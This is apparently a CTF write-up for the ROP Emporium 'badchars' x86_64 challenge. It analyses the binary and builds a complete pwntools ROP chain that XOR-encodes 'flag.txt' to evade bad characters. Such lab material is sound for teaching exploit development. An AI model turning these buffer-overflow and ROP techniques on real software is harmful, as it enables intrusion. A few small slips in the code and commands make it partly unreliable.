ROP Emporium - badchars (x86_64)

9 minute read

Introduction

badchars is the fifth challenge of ROP Emporium! To solve this challenge we will have to use the write primitive from the previous challenge (write4) in order to write the flag.txt string in the memory but, we will also have to deal with a set of bad characters.

Challenge Description

Dealing with bad characters is frequently necessary in exploit development, you’ve probably had to deal with them before while encoding shellcode. “Badchars” are the reason that encoders such as shikata-ga-nai exist. When constructing your ROP chain remember that the badchars apply to every character you use, not just parameters but addresses too. To mitigate the need for too much RE the binary will list its badchars when you run it.

Binary Analysis

Let’s start with the file command.

badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped

As always, we have a x86_64 not stripped ELF Executable.

Let’s also use checksec to check for any protection mechanisms.

1[*] 'badchars'
2    Arch:     amd64-64-little
3    RELRO:    Partial RELRO
4    Stack:    No canary found
5    NX:       NX enabled
6    PIE:      No PIE (0x400000)
7    RUNPATH:  b'.'

The binary has NX (Non Executable stack) enabled in order to prevent us from preforming a ret2shellcode attack.

Let’s also run the binary:

badchars by ROP Emporium
x86_64

badchars are: 'x', 'g', 'a', '.'
> 

It prints a list of badchars and then prompts for input.

In the challenge archive there is also the libbadchars.so shared object

libbadchars.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2a0c29dc645fb4176ba64218dd458330b4591db5, not stripped

which is preloaded into the binary.

ldd badchars
linux-vdso.so.1 (0x00007ffcaeb4c000)
libbadchars.so => ./libbadchars.so (0x00007f6fe16c0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6fe14d8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6fe18c8000)

If you want to expand your knowledge on shared libraries you should read this article.

To complete the analysis we will utilize GDB to find the functions used in the library & binary.

gdb -q libbadchars.so

To list all the functions:

inf func (info functions)

libbadchars Functions

There is the common & vulnerable pwnme function and the print_file which as we know from the previous challenge prints the content of a file (given that we supply a valid filename as the 1st argument ).

Let’s load the binary on gdb to inspect it too.

gdb -q badchars

To list all the functions:

inf func (info functions)

BInary’s Functions

The pwnme and print_file functions are loaded in the PLT which means that they are loaded from the libbadchars.so shared library.

If you want to learn more on Dynamic Linking & Lazy Binding with PLT & GOT, I suggest that you read this article

There are also the main, usefulFunction and usefulGadgets functions. The usefulFunction is not any useful as we know from the previous challenge. In the usefulGadgets function there are some probably useful gadgets which will help us solve the challenge.

usefulGadgets() Analysis

usefulGadgets

The usefulGadgets function contains a mov [r13], r12 gadget which we may use to copy the flag.txt string into process’s virtual address space. As it stores the value of the %r12 in memory, to the address given in r13. There is also a xor byte ptr [r15], r14b gadget which XOR’s a byte of %r14 with %r15.

If you want to learn about XOR I suggest that you check the General section of challenges in Cryptohack

Exploit Strategy

To solve the challenge we have to call the print_file() function with flag.txt as the 1st argument. The problem is that the flag.txt string is not included in the binary so we have to construct a write primitive in order to write the string into an ELF segment.

To achieve this we can utilize the mov [r13], r12 from the usefulGadgets function in combination with a pop r12; pop r13; ret gadget in order to populate those registers with the appropriate values.

To avoid the bad characters we can use the xor byte ptr [r15], r14b gadget. We utilize this gadget by sending a XORed version of flag.txt string with the appropriate key to vanish the a, g, x and . characters and then XOR it again using the gadget to recover the original string. (We will also need a pop r14, r15; ret gadget to populate the previously mentioned registers.)

We can explain that by using the properties of XOR. ( The XOR operator is denoted by )

Commutative: A ⊕ B = B ⊕ A  
Associative: A ⊕ (B ⊕ C) = (A ⊕ B) ⊕ C  
Identity: A ⊕ 0 = A  
Self-Inverse: A ⊕ A = 0

Let A our original flag.txt string and B our key:

A ⊕ B = AB, (AB is the string that we will write into the memory.) Then if we use the gadget to xor it with the key: AB ⊕ B = A If we take advantage of the Self-Inverse + Identity Property: B ⊕ B = 0, so A ⊕ 0 = A. Yay! we recovered our plaintext!

Last but not least, we also need a pop rdi; ret gadget in order to pass the flag.txt string to the print_file() function.

If you want to learn more on register usage on 64-bit architrcture you should read this cheatsheet.

Finding where to write.

We can’t start building our exploit without knowing where we are going to write in memory. We will use a tool called rabin2 which is part of the radare2 suite to gather information about the ELF sections.

rabin2 -S write4

ELF Sections

The .bss section is the ideal candidate as:

  1. We have Read - Write permissions on it.
  2. It’s size is 0x8 bytes, exactly the size of the flag.txt string.
  3. .bss contains uninitialized variables so there would be the minimun impact on the binary’s execution.

If you want to learn more on the ELF format you should read this.

Building the Exploit

Let’s start with a template.

 1from pwn import *
 2
 3elf = context.binary = ELF("badchars")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7
 8offset = 40
 9
10payload = b'A' * offset
11
12p.recvuntil(b'> ')
13p.sendline(payload)
14p.interactive()

Use ropper to find the mov [r13], r12; ret;, pop r12; pop r13; pop r14; pop r15; ret;, xor byte ptr [r15], r14b and gadgets. (We could also copy their addresses from GDB)

ropper -f badchars --search "mov [r13], r12"
1[INFO] Searching for gadgets: mov [r13], r12
2
3[INFO] File: badchars
40x0000000000400634: mov qword ptr [r13], r12; ret; 
ropper -f badchars --search "pop r12; pop r13; pop r14; pop r15; ret"
1[INFO] Searching for gadgets: pop r12; pop r13; pop r14; pop r15; ret
2
3[INFO] File: badchars
40x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret; 
ropper -f badchars --search "xor [r15], r14b; ret"
1[INFO] Searching for gadgets: xor [r15], r14b; ret
2
3[INFO] File: badchars
40x0000000000400628: xor byte ptr [r15], r14b; ret; 

Let’s add the gadgets, the .bss address, the string we want to write in the .bss and a list of the badchars to our exploit

 1from pwn import *
 2
 3elf = context.binary = ELF("badchars")
 4rop = ROP(elf)
 5p = process(elf.path)
 6
 7offset = 40
 8
 9# Gadgets
10
11pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret; 
12mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
13xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
14
15bss_addr = 0x601038
16data2write = 'flag.txt'
17badchars = ['x', 'g', 'a', '.']
18
19payload = b'A' * offset
20
21p.recvuntil(b'> ')
22p.sendline(payload)
23p.interactive()

Next we should implement the XOR Operation.

 1from pwn import *
 2
 3elf = context.binary = ELF("badchars")
 4rop = ROP(elf)
 5p = process(elf.path)
 6
 7def xor_string(string, key):
 8    xor_indxs =[]
 9    output = ""
10    for indx, char in enumerate(string):
11        if char in badchars:
12            nchar = chr(ord(char) ^ key)
13            output += nchar
14            xor_indxs.append(indx)
15            continue
16        output += char
17    return bytes(output.encode('latin')), xor_indxs
18
19offset = 40
20
21# Gadgets
22
23pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret; 
24mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
25xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
26
27bss_addr = 0x601038
28data2write = 'flag.txt'
29badchars = ['x', 'g', 'a', '.']
30xor_key = 2 # Just pick a random key.
31
32xoredstr, xor_offsets = xor_string(data2write, xor_key)
33
34payload = b'A' * offset
35
36p.recvuntil(b'> ')
37p.sendline(payload)
38p.interactive()

Implement the write primitive.

 1from pwn import *
 2
 3elf = context.binary = ELF("badchars")
 4rop = ROP(elf)
 5p = process(elf.path)
 6
 7def xor_string(string, key):
 8    xor_indxs =[]
 9    output = ""
10    for indx, char in enumerate(string):
11        if char in badchars:
12            nchar = chr(ord(char) ^ key)
13            output += nchar
14            xor_indxs.append(indx)
15            continue
16        output += char
17    return bytes(output.encode('latin')), xor_indxs
18
19offset = 40
20
21# Gadgets
22
23pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret; 
24mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
25xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
26
27bss_addr = 0x601038 
28data2write = 'flag.txt'
29badchars = ['x', 'g', 'a', '.']
30xor_key = 2 # Just pick a random key.
31
32xoredstr, xor_offsets = xor_string(data2write, xor_key)
33
34# Stage 1 - Write Data into the .bss
35
36payload = b'A' * offset
37payload += pop_r12_r15
38payload += xoredstr # Populate r12 with the xored string.
39payload += p64(bss_addr) # Populate r13 with .bss address.
40payload += p64(0xdeadbeefdeadbeef) # Junk for r14
41payload += p64(0xdeadbeefdeadbeef) # Junk for r15
42payload += mov # Preform the write.
43
44p.recvuntil(b'> ')
45p.sendline(payload)
46p.interactive()

Implement the inversion of the XOR operation & Call the print_file function.

 1from pwn import *
 2
 3elf = context.binary = ELF("badchars")
 4rop = ROP(elf)
 5p = process(elf.path)
 6
 7def xor_string(string, key):
 8    xor_indxs =[]
 9    output = ""
10    for indx, char in enumerate(string):
11        if char in badchars:
12            nchar = chr(ord(char) ^ key)
13            output += nchar
14            xor_indxs.append(indx)
15            continue
16        output += char
17    return bytes(output.encode('latin')), xor_indxs
18
19offset = 40
20
21# Gadgets
22
23pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret; 
24mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
25xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
26pop_rdi  = (rop.find_gadget(['pop rdi', 'ret']))[0]
27
28bss_addr = 0x601038
29data2write = 'flag.txt'
30badchars = ['x', 'g', 'a', '.']
31xor_key = 2 # Just pick a random key.
32
33xoredstr, xor_offsets = xor_string(data2write, xor_key)
34
35# Stage 1 - Write Data into the .bss
36
37payload = b'A' * offset
38payload += pop_r12_r15
39payload += xoredstr # Populate r12 with the xored string.
40payload += p64(bss_addr) # Populate r13 with .bss address.
41payload += p64(0xdeadbeefdeadbeef) # Junk for r14
42payload += p64(0xdeadbeefdeadbeef) # Junk for r15
43payload += mov # Preform the write.
44
45# Stage 2 - Inverse the XOR Operation
46
47for indx in xor_offsets:
48    payload += pop_r12_r15
49	payload += p64(0xdeadbeefdeadbeef) # Junk for r12
50    payload += p64(0xdeadbeefdeadbeef) # Junk for r13
51    payload += p64(xor_key) # Populate r14 with the xor key.
52    payload += p64(bss_addr + indx) # Populate r15 with a byte of the ciphertext
53    payload += xor 
54
55# Stage 3 - Call the print_file function
56
57payload += p64(pop_rdi)
58payload += p64(bss_addr)
59payload += p64(elf.plt.print_file)
60
61p.recvuntil(b'> ')
62p.sendline(payload)
63p.interactive()

Pwn3d !

Pwn3d!